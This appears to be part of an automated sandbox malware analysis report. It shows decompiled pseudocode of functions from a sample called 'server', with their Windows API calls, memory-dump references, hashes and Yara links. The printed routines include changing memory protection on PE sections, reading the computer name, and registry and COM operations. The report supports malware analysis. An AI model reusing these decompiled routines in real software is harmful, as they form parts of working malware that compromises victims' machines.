				_t9 = E007912C6(_v0, _t13); // executed
				_t13[1] = _t9;
				_t10 =  *0x79a3cc; // 0x2d29600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}

0x00795364
0x00795364
0x0079536d
0x0079537d
0x0079537d
0x00795382
0x00795387
0x00000000
0x00000000
0x00795377
0x00795377
0x00795389
0x0079538d
0x0079539f
0x0079539f
0x007953aa
0x007953af
0x007953b2
0x007953b7
0x007953bb
0x007953c1

APIs

RtlEnterCriticalSection.NTDLL(02D295C0), ref: 0079536D
Sleep.KERNEL32(0000000A), ref: 00795377
HeapFree.KERNEL32(00000000,00000000), ref: 0079539F
RtlLeaveCriticalSection.NTDLL(02D295C0), ref: 007953BB

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 2a46e170e19ef6e6a0d3b7f25f46f635269cec0b3c5879003748d71b0ecb38e2
Instruction ID: f293b4ba42b23979b8310b71baa82dad4103421acb5247e31cbd67d305442e0a
Opcode Fuzzy Hash: 2a46e170e19ef6e6a0d3b7f25f46f635269cec0b3c5879003748d71b0ecb38e2
Instruction Fuzzy Hash: 54F05830601202EBEF219F6DEC48F0A7BF4AF15384B00C41AFA11C6271D639D852DB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00795251 Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00795251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E00796ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x79a348; // 0x258d5a8
				_t4 = _t24 + 0x79bc70; // 0x2d29218
				_t5 = _t24 + 0x79bb60; // 0x4f0053
				_t26 = E007933F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x79a348; // 0x258d5a8
						_t11 = _t32 + 0x79bcc8; // 0x2d29270
						_t48 = _t11;
						_t12 = _t32 + 0x79bb60; // 0x4f0053
						_t52 = E00795DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x79a348; // 0x258d5a8
							_t13 = _t35 + 0x79bcf0; // 0x30314549
							if(E00795157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x79a2fc - 6;
								if( *0x79a2fc <= 6) {
									_t42 =  *0x79a348; // 0x258d5a8
									_t15 = _t42 + 0x79bcd2; // 0x52384549
									E00795157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x79a348; // 0x258d5a8
							_t17 = _t38 + 0x79bbb8; // 0x2d29160
							_t18 = _t38 + 0x79bc1c; // 0x680043
							_t45 = E00795B0E(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x79a2d8, 0, _t52);
						}
					}
					HeapFree( *0x79a2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E00797220(_t54);
				}
				return _t45;
			}

0x00795251
0x00795261
0x00795264
0x0079526b
0x0079526d
0x0079526d
0x00795270
0x00795275
0x0079527c
0x00795289
0x0079528e
0x00795292
0x007952a0
0x007952ae
0x007952b2
0x00795343
0x00795343
0x007952b8
0x007952b8
0x007952bd
0x007952bd
0x007952c4
0x007952d0
0x007952d2
0x007952d4
0x007952d6
0x007952dd
0x007952ef
0x007952f1
0x007952f8
0x007952fa
0x00795301
0x0079530c
0x0079530c
0x007952f8
0x00795311
0x00795316
0x0079531d
0x0079533b
0x0079533d
0x0079533d
0x007952d4
0x0079534f
0x0079534f
0x00795351
0x00795356
0x00795358
0x00795358
0x00795363

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,02D29218,00000000,?,74D0F710,00000000,74D0F730), ref: 007952A0
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,02D29160,?,00000000,30314549,00000014,004F0053,02D29270), ref: 0079533D
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,007968B6), ref: 0079534F

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3db2d6d63bb16094af7c67fa520705f3b13caf76a00e3a99e8c063dbf95e2044
Instruction ID: 58db3d37b4a20c468ff3d6d541c4b178565b430f8627b97198e2f9eed26251da
Opcode Fuzzy Hash: 3db2d6d63bb16094af7c67fa520705f3b13caf76a00e3a99e8c063dbf95e2044
Instruction Fuzzy Hash: A731D331900618FFDF12DB94ED89EAE3BBCEB04744F040196F500A7121D7789E09DB54

Uniqueness

Uniqueness Score: -1.00%

Function 004014CF Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004014CF(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0x404180;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}

0x004014d9
0x004014e6
0x004014ec
0x004014f8
0x00401508
0x0040150a
0x00401512
0x004015a6
0x004015ad
0x00000000
0x00000000
0x00000000
0x00401518
0x00401518
0x00401518
0x0040151c
0x00000000
0x00000000
0x00401528
0x0040152c
0x00401550
0x00401554
0x00401568
0x00401568
0x0040156e
0x0040157d
0x00401581
0x00401589
0x00401589
0x00401595
0x00401597
0x004015a0
0x00000000
0x00000000
0x00000000
0x00000000
0x004015a0
0x0040155c
0x00401560
0x00401566
0x00000000
0x00000000
0x00000000
0x00401566
0x00401534
0x00401538
0x00401542
0x0040153a
0x0040153a
0x0040153a
0x00000000
0x00401538
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 00401508
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 0040157D
GetLastError.KERNEL32 ref: 00401583

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: fa1f72f039ba5afec073a1f2adf273f2725f5d9d4501c0cfce72b6ba3d5ab017
Instruction ID: db8870d9979c58085381c8b0541bfb0d1fdb36fbc34c572f0fe0e58abbf4653c
Opcode Fuzzy Hash: fa1f72f039ba5afec073a1f2adf273f2725f5d9d4501c0cfce72b6ba3d5ab017
Instruction Fuzzy Hash: D1212B7280121AEFCB14CF95C9819AAF7B4FF58305F04487AE413AB960E738AA55CF58

Uniqueness

Uniqueness Score: -1.00%

Function 007912C6 Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E007912C6(char* _a4, char** _a8) {
				char* _t7;
				char* _t11;
				char* _t14;
				char* _t16;
				char* _t17;
				char _t18;
				signed int _t20;
				signed int _t22;

				_t16 = _a4;
				_push(0x20);
				_t20 = 1;
				_push(_t16);
				while(1) {
					_t7 = StrChrA();
					if(_t7 == 0) {
						break;
					}
					_t20 = _t20 + 1;
					_push(0x20);
					_push( &(_t7[1]));
				}
				_t11 = E007933DC(_t20 << 2);
				_a4 = _t11;
				if(_t11 != 0) {
					StrTrimA(_t16, 0x799278); // executed
					_t22 = 0;
					do {
						_t14 = StrChrA(_t16, 0x20);
						if(_t14 != 0) {
							 *_t14 = 0;
							do {
								_t14 =  &(_t14[1]);
								_t18 =  *_t14;
							} while (_t18 == 0x20 || _t18 == 9);
						}
						_t17 = _a4;
						 *(_t17 + _t22 * 4) = _t16;
						_t22 = _t22 + 1;
						_t16 = _t14;
					} while (_t14 != 0);
					 *_a8 = _t17;
				}
				return 0;
			}

0x007912ca
0x007912d7
0x007912d9
0x007912da
0x007912e2
0x007912e2
0x007912e6
0x00000000
0x00000000
0x007912dd
0x007912de
0x007912e1
0x007912e1
0x007912ee
0x007912f3
0x007912f8
0x00791300
0x00791306
0x00791308
0x0079130b
0x0079130f
0x00791311
0x00791314
0x00791314
0x00791315
0x00791317
0x00791314
0x00791321
0x00791324
0x00791327
0x00791328
0x0079132a
0x00791331
0x00791331
0x0079133d

APIs

StrChrA.SHLWAPI(?,00000020,00000000,02D295FC,?,?,007953AF,?,02D295FC), ref: 007912E2
StrTrimA.KERNELBASE(?,00799278,00000002,?,007953AF,?,02D295FC), ref: 00791300
StrChrA.SHLWAPI(?,00000020,?,007953AF,?,02D295FC), ref: 0079130B

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 7542e37b51ee73845f8ef2088e253e6209eeb415060167c9cd5043c284cf4c03
Instruction ID: f87b6bed4f7a6fc9cd913c9f3d20f6db9d2aeb96a35aa9aff42a0887870992d4
Opcode Fuzzy Hash: 7542e37b51ee73845f8ef2088e253e6209eeb415060167c9cd5043c284cf4c03
Instruction Fuzzy Hash: 4F01B17130034B6EEF109A6AEC48FA77BACEB85340F944012B955CB282D678C8128360

Uniqueness

Uniqueness Score: -1.00%

Function 0079790B Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0079790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E00794358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x79a348; // 0x258d5a8
						_t20 = _t68 + 0x79b270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E00794984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x00797911
0x00797914
0x00797924
0x0079792d
0x00797931
0x007979ff
0x00797a05
0x00797a05
0x0079794b
0x00797950
0x00797954
0x0079795a
0x0079795f
0x00797966
0x00797975
0x00797975
0x00797979
0x0079797b
0x00797987
0x00797992
0x0079799d
0x007979a1
0x007979ab
0x007979af
0x007979b1
0x007979b6
0x007979bd
0x007979cd
0x007979cd
0x007979b6
0x007979af
0x007979cf
0x007979d4
0x007979d9
0x007979d9
0x007979dc
0x007979e5
0x007979ea
0x007979ea
0x007979ef
0x007979f4
0x007979f4
0x007979ef
0x00797979
0x007979f6
0x007979fc
0x00000000

APIs

Part of subcall function 00794358: SysAllocString.OLEAUT32(80000002), ref: 007943B5
Part of subcall function 00794358: SysFreeString.OLEAUT32(00000000), ref: 0079441B

SysFreeString.OLEAUT32(?), ref: 007979EA
SysFreeString.OLEAUT32(00794D42), ref: 007979F4

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 956b13d932b60c73d1f13eafa5ca0e0ec2e65b362faefb6784a210a3b304f21e
Instruction ID: d6eba75848981680466934934d238f05d38105401b1a8813542539946a6497af
Opcode Fuzzy Hash: 956b13d932b60c73d1f13eafa5ca0e0ec2e65b362faefb6784a210a3b304f21e
Instruction Fuzzy Hash: EE315972500148EFCF15DF68D888C9BBB7AFFC97507144658F8099B210D335AD91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040139F Relevance: 3.1, APIs: 2, Instructions: 60
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040139F() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t35;
				intOrPtr _t38;

				_t15 =  *0x404184;
				if( *0x40416c > 5) {
					_t16 = _t15 + 0x40513c;
				} else {
					_t16 = _t15 + 0x40529c;
				}
				E00401D3C(_t16, _t16);
				_t35 = 6;
				memset( &_v32, 0, _t35 << 2);
				_t24 = E00401882( &_v32,  &_v16,  *0x404180 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x404178);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E004015B0(_t38, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x404178 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							L00401FE6(_t32 + 4);
						}
					}
					_t25 = E004012FB(_v28); // executed
				}
				ExitThread(_t25);
			}

0x004013a5
0x004013b6
0x004013c0
0x004013b8
0x004013b8
0x004013b8
0x004013c7
0x004013d0
0x004013d5
0x004013ec
0x004013f3
0x00401450
0x004013f5
0x004013fb
0x00401401
0x0040140f
0x00401413
0x0040141a
0x00401422
0x00401426
0x0040142e
0x0040143f
0x00401430
0x00401436
0x00401436
0x0040142e
0x00401447
0x00401447
0x00401452

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 004013FB
ExitThread.KERNEL32 ref: 00401452

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: ac67e65bd4c915eb781d54c6f39458c359880d29bbf57a3e932865a973960b97
Instruction ID: 2b8b17c81bcefa181eed95ac27ced154ec6146dfe98fb58ff2424010aaaeeb75
Opcode Fuzzy Hash: ac67e65bd4c915eb781d54c6f39458c359880d29bbf57a3e932865a973960b97
Instruction Fuzzy Hash: A511E271504205ABE700EB61DD48E5B77ECAF84314F00493BB941F72B1EB38EA448B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0081B58B Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0081B5B3
Module32First.KERNEL32(00000000,00000224), ref: 0081B5D3

Memory Dump Source

Source File: 00000000.00000002.523539634.0000000000816000.00000040.00000020.00020000.00000000.sdmp, Offset: 00816000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_816000_server.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d72f7ab6b3a0f2a55c38164b7cdf139de3c78b011734fb265298b858b9f4ad7a
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3EF062311007156BD7203BB9988DBEE76EEFF49724F100528E646D14C0DB70EC854661

Uniqueness

Uniqueness Score: -1.00%

Function 0079472F Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0079472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E007933DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E007961DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x00794734
0x0079473f
0x00794741
0x00794747
0x00794749
0x0079474e
0x00794757
0x0079475b
0x00794764
0x00794768
0x00794777
0x0079476a
0x0079476b
0x00794770
0x00794770
0x00794768
0x0079475b
0x00794780

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,00793DCD,00000000,00000000,?,7491C740,00793DCD), ref: 00794747

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

GetComputerNameExA.KERNELBASE(00000003,00000000,00793DCD,00793DCE,?,7491C740,00793DCD), ref: 00794764

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 38aaece1ea49993285a751fecbc8614612a27d37e898976f7277da835ecd198b
Instruction ID: 36f52df3c6500699a80b2509ece8bce31ff8c0e0c7ca85e76fd60ff9712e2b77
Opcode Fuzzy Hash: 38aaece1ea49993285a751fecbc8614612a27d37e898976f7277da835ecd198b
Instruction Fuzzy Hash: 22F0543660011EFAEF11D6AA9C45EAF76ACEBC5754F510059A904D3241EB74DE029770

Uniqueness

Uniqueness Score: -1.00%

Function 00795006 Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00795006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x79a2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x79a1c8 = GetTickCount();
				_t5 = E007954D8(_a4);
				if(_t5 == 0) {
					_t5 = E0079213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E00796392(_t9) != 0) {
							 *0x79a300 = 1; // executed
						}
						_t7 = E00792523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}

0x00795006
0x0079500f
0x00795015
0x0079501c
0x00795020
0x00000000
0x00795020
0x0079502d
0x00795032
0x00795039
0x0079503f
0x00795046
0x0079504f
0x00795051
0x00795051
0x0079505b
0x00000000
0x0079505b
0x00795046
0x00795060

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,0079107E,?), ref: 0079500F
GetTickCount.KERNEL32 ref: 00795023

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: CountCreateHeapTick
String ID:
API String ID: 2177101570-0
Opcode ID: 4ff1b09646ab3394b62dd01ee90dae54b3a9ae33aa4652ce2eacb4aa0036999a
Instruction ID: bcd8b4ac1923fc9bccdcd2d152717f262d45f7a31f25461b1ca1db805304c144
Opcode Fuzzy Hash: 4ff1b09646ab3394b62dd01ee90dae54b3a9ae33aa4652ce2eacb4aa0036999a
Instruction Fuzzy Hash: 9FF09B30681F15F5EF632B79BC1971535A06F44700F10C126F901D40A2EB7DD8529B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00792839 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00792839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x79a348; // 0x258d5a8
				_t4 = _t15 + 0x79b3e8; // 0x2d28990
				_t20 = _t4;
				_t6 = _t15 + 0x79b174; // 0x650047
				_t17 = E0079790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E0079661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x00792843
0x0079284a
0x0079284b
0x0079284c
0x0079284d
0x00792853
0x00792858
0x00792858
0x00792862
0x00792874
0x0079287b
0x007928a9
0x0079287d
0x0079287f
0x00792884
0x007928a6
0x00792886
0x00792889
0x00792890
0x00792895
0x00792897
0x00792897
0x0079289c
0x0079289c
0x00792884
0x007928b0

APIs

Part of subcall function 0079790B: SysFreeString.OLEAUT32(?), ref: 007979EA

Part of subcall function 0079661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,00794B72,004F0053,00000000,?), ref: 00796625
Part of subcall function 0079661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,00794B72,004F0053,00000000,?), ref: 0079664F
Part of subcall function 0079661C: memset.NTDLL ref: 00796663

SysFreeString.OLEAUT32(00000000), ref: 0079289C

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: eb1a912c9e1fbeefb3567f1f4f5d40a6988b0ada4b2d5cd9118cbdca6263c272
Instruction ID: 820f7b4a01e377ff49c1b8923c1bec816988815e85a2be3ac0f3b86c999f0fba
Opcode Fuzzy Hash: eb1a912c9e1fbeefb3567f1f4f5d40a6988b0ada4b2d5cd9118cbdca6263c272
Instruction Fuzzy Hash: C7015A32500119FFDF51ABA8EC44EAABBB8EB04750B004665E901E7162E7799916C790

Uniqueness

Uniqueness Score: -1.00%

Function 00401D3C Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401D3C(void* __eax, intOrPtr _a4) {

				 *0x404190 =  *0x404190 & 0x00000000;
				_push(0);
				_push(0x40418c);
				_push(1);
				_push(_a4);
				 *0x404188 = 0xc; // executed
				L00401682(); // executed
				return __eax;
			}

0x00401d3c
0x00401d43
0x00401d45
0x00401d4a
0x00401d4c
0x00401d50
0x00401d5a
0x00401d5f

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(004013CC,00000001,0040418C,00000000), ref: 00401D5A

Memory Dump Source

